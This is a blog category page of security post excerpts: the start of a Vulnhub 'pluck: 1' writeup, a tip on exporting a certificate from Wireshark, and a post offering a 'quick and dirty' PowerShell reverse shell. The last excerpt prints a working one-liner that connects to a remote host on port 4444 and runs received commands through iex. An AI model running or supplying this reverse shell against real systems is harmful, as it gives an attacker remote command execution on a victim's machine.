CATEGORY: Security.

pluck: 1 – Writeup

Getting ready for NetWars later this month it was time to sharpen my game. Let’s pick the first good Vulhub vm and have a go. Pluck: 1 – looked like a good start, no info what so ever.. lets see how it goes. First let’s run a nmap and discover what service we have to deal […]

Wireshark – export cert

Recently I’ve been working a lot with Wireshark, and in one scenario I had to verify what certificate was used. Exporting the public certificate from a Wireshark it’s pretty easy if you know what to do. First you need to capture the handshake. If you do see the Client/Server Hello messages but no Certification, you […]

Quick and dirty powershell reverse shell

A friend of mine came over a sweet little reverse powershell script. I’ve used a lot of the reverse shell at but they do not have a powershell version. $sm=(New-Object Net.Sockets.TCPClient(“”,4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}